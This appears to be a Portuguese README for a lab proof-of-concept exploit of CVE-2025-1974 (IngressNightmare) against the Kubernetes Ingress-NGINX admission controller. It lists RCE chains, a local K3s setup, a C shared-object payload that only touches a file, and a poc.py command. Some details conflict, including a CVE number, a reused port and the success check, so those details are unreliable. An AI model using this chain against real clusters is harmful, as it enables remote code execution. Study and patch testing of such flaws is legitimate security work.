
Exploit de prova de conceito para CVE-2025-1974 (IngressNightmare) que visa o Kubernetes Ingress-NGINX Admission Controller para obter execução remota de código por meio de solicitações AdmissionReview maliciosas.
Ingress-NGINX: Controlador de Ingress para Kubernetes que usa NGINX como proxy reverso e balanceador de carga
A vulnerabilidade "IngressNightmare" (CVE-2025-1974) decorre de uma falha crítica no Controlador de Admissão do Ingress-NGINX, que é o mecanismo de segurança central do Kubernetes para validar recursos de Ingress recebidos.
Este controlador é exposto na rede sem autenticação, permitindo que um invasor manipule solicitações maliciosas de AdmissionReview e insira configurações não autorizadas nos recursos de Ingress.
Quando combinada com outras vulnerabilidades (CVE-2025-24514, CVE-2024-1097 ou CVE-2025-1098), pode levar à execução remota de código.
Algumas cadeias exploráveis são:
CVE-2025-1974 + CVE-2025-24514: RCE via injeção de anotação auth-url
CVE-2025-1974 + CVE-2025-1097: RCE via anotação auth-tls-match-cn
CVE-2025-1974 + CVE-2025-1098: RCE via abuso de UID de imagem
Para simular a vulnerabilidade, é utilizado um ambiente Kubernetes baseado em K3s por simplicidade
docker compose up -d
Aguarde até que a API do Kubernetes esteja pronta e o controlador Ingress-nginx seja iniciado. Quando o ambiente estiver ativo, o Ingress-NGINX escutará nas portas 30080 e 30443 (TLS), e o Controlador de Admissão do Ingress-NGINX estará na porta 30443.
Primeiro, é necessário compilar um payload de objeto compartilhado (.so) que corresponda à arquitetura do contêiner.
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
O exploit funciona forjando uma requisição de AdmissionReview que injeta diretivas forçando o NGINX a carregar um objeto compartilhado dinâmico malicioso.
Se o exploit for bem-sucedido, é possível verificar a criação do arquivo ssl_engine dentro do contêiner ingress-nginx.
